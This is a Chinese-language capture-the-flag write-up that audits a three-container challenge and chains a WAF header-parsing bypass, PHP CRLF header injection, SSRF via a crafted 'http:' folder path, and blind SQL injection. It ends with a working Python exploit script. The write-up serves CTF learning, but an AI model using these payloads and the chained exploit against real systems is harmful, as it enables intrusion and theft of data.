吐槽比赛的时候后面完整利用已经串起来了,脑抽卡在了SSRF利用上,还是太死脑筋了
Docker备份:https://github.com/Y4tacker/CTFBackup/blob/main/2023/BiosCTF/vulndrive2.zip
正文 环境首先简单看看docker-compose.yml,发现php环境在外网
根据networks配置可知waf与其他两个环境互通,frontend与app不互通
审计以下为了方便叙述思路,将调整讲解的顺序,其中会涉及到部分穿插
waf这个容器中运行了一个go程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package mainimport ( "fmt" "log" "net/http" "net/http/httputil" "net/url" "strings" ) var invalid = [6 ]string {"'" , "\"" , ")" , "(" , ")" ,"=" }func ProxyRequestHandler (proxy *httputil.ReverseProxy) func (http.ResponseWriter, *http.Request) { return func (w http.ResponseWriter, r *http.Request) { if (r.Header.Get("X-pro-hacker" )!="" ){ fmt.Fprintf(w, "Hello Hacker!\n" ) return } if (strings.Contains(r.Header.Get("flag" ), "gimme" )){ fmt.Fprintf(w, "No flag For you!\n" ) return } if (r.Header.Get("Token" )!="" ){ for _, x := range invalid { if (strings.Contains(r.Header.Get("Token" ), x)){ fmt.Fprintf(w, "Hello Hacker!\n" ) return } } } proxy.ServeHTTP(w, r) } } func main () { url, err := url.Parse("http://app:5000" ) if err != nil { fmt.Println(err) } proxy := httputil.NewSingleHostReverseProxy(url) http.HandleFunc("/" , ProxyRequestHandler(proxy)) http.HandleFunc("/admin" , func (w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello World!\n" ) }) log.Fatal(http.ListenAndServe(":80" , nil )) }
存在两个路由/
与/admin
,其中/
路由将我们的请求转发到http://app:5000
同时对header中的X-pro-hacker
、flag
、Token
三个字段做了限制
要求X-pro-hacker
为空,flag
不能出现gimme
,Token
则是不能有[6]string{"'", "\"", ")", "(", ")","="}
这些字符
在python的flask项目中则要求request.headers.get("X-pro-hacker")=="Pro-hacker" and "gimme" in request.headers.get("flag")
,注意一个是==
一个是in
这里则需要利用go与flask解析的差异性,
go当中只获取第一个header的内容,
在flask当中会把header当中的_
替换为-
,同时如果header双写会用,
进行拼接
因此我们如果构造这样的请求,则可以绕过go端的校验
1 2 3 4 GET / HTTP/1.1 X_pro-hacker: Pro-hacker flag : flag : gimme
同时在flask眼中以上内容最终会转换为
1 2 3 GET / HTTP/1.1 X-pro-hacker : Pro-hackerflag : ,gimme
接下来我们来具体看看flask部分
app首先在里面会初始化sqlite数据库,将flag保存到了users与flag两张表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def init_db (): try : conn = sqlite3.connect(os.path.join(os.path.realpath(os.curdir),'users.db' )) cursor = conn.cursor() result = cursor.executescript(f""" CREATE TABLE IF NOT EXISTS users ( username TEXT, token TEXT ); CREATE TABLE IF NOT EXISTS flag ( flag_is_here TEXT ); Delete from users; Delete from flag; INSERT INTO users values ('user','some_randomtoken'), ('admi','some_randomtoken'), ( 'admin', '{FLAG} ' ); INSERT INTO flag values ('{FLAG} '); """ ) conn.commit() return True except : return False
程序仅有一个路由,要求header中的X-pro-hacker
、flag
字段为指定内容
同时根据header中的参数Token
做数据库的查询操作
另外我们可以看到如果存在user参数那么会取前38位执行add_user操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def add_user (user,token ): q = f"INSERT INTO users values ('{user} ','{token} ')" db_query(q) return @app.route("/" ) def index (): while not init_db(): continue if request.headers.get("X-pro-hacker" )=="Pro-hacker" and "gimme" in request.headers.get("flag" ): try : if request.headers.get("Token" ): token = request.headers.get("Token" ) token = token[:16 ] token = token.replace(" " ,"" ).replace('"' ,"" ) if request.form.get("user" ): user = request.form.get("user" ) user = user[:38 ] add_user(user,token) query = f'SELECT * FROM users WHERE token="{token} "' res = db_query(query) res = res.fetchone() return res[1 ] if res and len (res[0 ])>0 else "INDEX\n" except Exception as e: print (e) return "INDEX\n"
首先是request.form.get("user")
,这个是POST表单的参数,我们如何能成功传递呢?毕竟当前路由只支持GET
请求
其实flask识别request.form
是依据Header头是否是Content-Type:application/x-www-form-urlencoded
来判断的,因此我们只要加上并把参数放在请求体当中即可
因此很明显我们需要通过sql注入获取到flag表中flag_is_here字段的内容,由于token在go端做了字符限制,我们考虑仅在user字段中执行注入
由于flag表中仅有一个flag_is_here字段,因此我们可以用*
替代减少payload长度
由于add_user当中为insert那么我们就可以考虑插入再查询的方式,通过盲注获取数据
构造如下,发现刚好长度为36,还预留了两个长度的位置,(毕竟flag长度也不会超过1000,所以完全够用了),通过下面的语句我们每次可以将flag的一个字符带入到user表中
之后我们通过select语句查询单字符的token,如果不存在则返回INDEX
,存在则返回token内容,不断重复上述步骤即可获取到flag所有内容
1 2 3 4 query = f'SELECT * FROM users WHERE token="{token} "' res = db_query(query) res = res.fetchone() return res[1 ] if res and len (res[0 ])>0 else "INDEX\n"
frontend上面已经串起来了最后来看看frontend部分
从Dockerfile可知环境是php8.1并且在uploads路径下有个.htaccess配置文件
1 2 3 4 5 FROM php:8.1 -apacheCOPY src/ /var/www/html/ RUN mkdir /var/www/html/uploads RUN chown www-data:www-data /var/www/html/uploads COPY .htaccess /var/www/html/uploads/
而这个配置文件仅仅只有一行,禁止直接访问uploads路径下的文件
接下来看看代码,简简单单只有几个文件
接下来所有代码都为去除前端样式部分,仅保留php代码
登录页面接收username参数并保存到session当中,之后根据sessionid生成隔离用户目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php session_start(); if (!file_exists('uploads' )) { mkdir('uploads' ); } if (isset ($_POST ['submit' ])){ if (isset ($_POST ['username' ])){ $_SESSION ["username" ] = $_POST ["username" ]; $folder = './uploads/' .session_id()."/" ; if (!file_exists($folder )) { mkdir($folder ); } $_SESSION ['folder' ] = $folder ; header("Location: /index.php" ); die (); }else { echo "no username provided" ; } } ?>
接下来是index.php部分,这里主要有两个功能一个是根据参数new创建文件夹,同时对参数new用check_name函数做了校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $FOLDER = $_SESSION ['folder' ];if (isset ($_GET ['new' ])) { if (check_name($_GET ["new" ])){ $newfolder = $FOLDER .$_GET ['new' ]; if (!file_exists($newfolder )) { mkdir($newfolder ); }else { $error = "folder already exist" ; } }else { die ('not allowed' ); } }
check_name过滤了符号.
与/
,同时里面还调用了report函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function check_name ($filename ) { if (gettype($filename )==="string" ){ if (preg_match("/[.\/]/i" ,$filename )){ report(); return false ; }else { return true ; } } else { return false ; } } function report ( ) { ini_set("from" ,$_SESSION ['username' ]); file_get_contents('http://localhost/report.php' ); }
另一个是文件上传功能,可以指定path上传文件,不过可惜也经过check_name做了校验,另一点文件名取后缀,并使用uniqid函数获取随机前缀,
因此我们便不能上传一些配置文件覆盖原来的htaccess下的配置
同时虽然对后缀没有过滤,由于本身有htaccess下的限制也无法访问到我们上传的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (isset ($_POST ["submit" ])){ if (isset ($_FILES ['file' ])&& isset ($_POST ['path' ])){ if (!check_name($_POST ["path" ])){ die ("not allowed" ); } $file = $_FILES ['file' ]; $fileName = $file ['name' ]; $fileSize = $file ['size' ]; $fileError = $file ['error' ]; $fileExt = explode('.' , $fileName ); $fileActualExt = strtolower(end($fileExt )); if ($fileError === 0 ){ if ($fileSize < 100000 ){ $name = uniqid('' , true )."." .$fileActualExt ; $fileDestination = $FOLDER .$_POST ['path' ]; upload($file ['tmp_name' ], $fileDestination ,$name ); header("Location: index.php?uploadsuccess" ); }else { $error = "Your file is too big!" ; } }else { $error = "There was an error uploading your file!" ; } }else { $error = "parameter missing" ; } }
最后是view.php,根据参数fol可以查看我们上传的文件名,同时也有check_name做路径限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $FOLDER = $_SESSION ['folder' ];$dirr = ['.' ,'..' ];if (isset ($_GET ['fol' ])){ if (check_name($_GET ['fol' ]) && is_dir($FOLDER .$_GET ['fol' ])){ $c = "" ; $files = array_diff(scandir($FOLDER .$_GET ['fol' ]),$dirr ); foreach ($files as $f ) { $c .= "<li class=\"list-group-item\"><a href='/view.php?file=" .$_GET ['fol' ]."/" .$f ."'>$f </a></li>" ; } echo str_replace("CONTENT" ,$c ,$files_template ); }else { echo '<div class="alert alert-warning" role="alert">folder not found</div>' ; } }
根据参数file可以查看对应的文件内容,不过有限制只能读取后缀为txt、png与jpg后缀的文件
如果注意看可以看到这里type的写法有点小问题给了我们操作的空间 ,后面会提到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $ext = explode('.' , $file ); $type = substr(strtolower(end($ext )),0 ,3 ); $file = $FOLDER ."/" .$file ; if ($type ==="txt" ){ try { if (file_exists($file )){ chdir($FOLDER ); echo file_get_contents($_GET ['file' ]); }else { echo '<div class="alert alert-warning" role="alert">File not found!</div>' ; } } catch (\Throwable $th ) { echo '<div class="alert alert-warning" role="alert">Some error Occured</div>' ; } } else if ($type ==="png" || $type ==="jpg" ){ try { if (file_exists($file )){ chdir($FOLDER ); echo "<img src=\"data:image/$type ;base64," .base64_encode(file_get_contents($_GET ['file' ]))."\" >" ; }else { echo '<div class="alert alert-warning" role="alert">File not found!</div>' ; } } catch (Throwable $th ) { echo '<div class="alert alert-warning" role="alert">Some error Occured</div>' ; } } else { echo '<div class="alert alert-warning" role="alert">Invaild type</div>' ; } }
SSRF既然不能rce,那有什么办法呢?ssrf同时又能控制header
答案在report函数中
1 2 3 4 5 6 function report ( ) { ini_set("from" ,$_SESSION ['username' ]); file_get_contents('http://localhost/report.php' ); }
可以在网上搜索到这个https://bugs.php.net/bug.php?id=81680
从漏洞描述可以看到妥妥的CRLF注入
When we set “From” field by setting ini setting “from”, which is used for “ftp” and “http” file wrapper, it can inject an arbitrary string in the raw socket message.
Since the injected string can contain CR-LF sequence(\r\n), this can be used to interrupt the flow of FTP stream or injecting/smuggling an outgoing HTTP request.
同时下面还给了一个简洁的例子,从这里可以看到我们注入的Header在最上方,那么岂不是想控制啥控制啥嘞
为什么不能污染HOST然而当我们简单构造好username发过去触发report后会发现什么都没发生
这里我们先本地测试下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function report ($username ) { ini_set("from" ,$username ); file_get_contents('http://ip:1234/report.php' ); } if (isset ($_POST ['name' ])){ report($_POST ['name' ]); };
明明Host当中端口已经变了,为什么还是1234呢?比赛期间就卡在最后一步上,属于是脑抽了一直觉得是本地环境问题2333
实际上在比赛后,经过简单的php源码调试我们可以发现
事实上其实在发送数据前,php已经根据我们的url与对应ip和port建立好了连接
之后再发送完整数据包
因此不论我们如何污染Host都是在原有的tcp连接上进行的通信
那我们怎么办呢?虽然能成功CRLF注入,但如何控制HOST呢?
成功的SSRF 尝试纵观全局所有代码,我们只能看到view.php当中存在可控制的点
还记得我们之前说这个获取$type存在问题么?
乍一看这里逻辑本来是判断后缀后,判断文件是否存在之后再读取,看着没什么问题呀?
而问题就在于这个type是取.
后的三个字符
那么如果我们创建一个名为http:
的文件夹
之后让file值等于http://[email protected]
,这样看也许不明显,那如果我们看看绝对路径呢?
/var/www/html/uploads/sessionid/http://[email protected]
我们知道php通常会做路径标准化,//
会被替换成/
,那么这个路径
/var/www/html/uploads/sessionid/http:/[email protected]
这样也就能通过file_exists
函数了
Exp因此我们结合完整攻击路径将以上步骤串联起来写出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import stringimport requestsimport reurl = "input url" i = 1 flag = '' search_strs = string.printable sess = requests.session() while True : for search_str in search_strs: payload = f"user={search_str} ',substr((select * from flag),{i} ,1))--" username = f"Hi\r\nX_pro-hacker: Pro-hacker\r\nflag: \r\nflag: gimme\r\nToken: {search_str} \r\nContent-Type:application/x-www-form-urlencoded\r\nHost: waf\r\nContent-Length: {len (payload)} \r\n\r\n{payload} " sess.post(url + "/login.php" , data={'username' : username, 'submit' : 'submit' }) sess.get(url + '/index.php?new=http%3A&submit=Upload' ) sess.post(url + '/index.php' , files={ 'file' : ('[email protected] ' , "" .encode()), 'path' : (None , 'http:' ), 'submit' : (None , 'submit' ) }) file_name = re.findall('<li class="list-group-item"><a href=\'(.*?)\'>.*?</a></li>' , sess.get(url + "/view.php?fol=http:" ).text)[-1 ].replace("http:/" , "http://" ) find = sess.get(url + f"{file_name} &fol=/" ).text if 'INDEX' not in find: flag += search_str i += 1 print (flag) break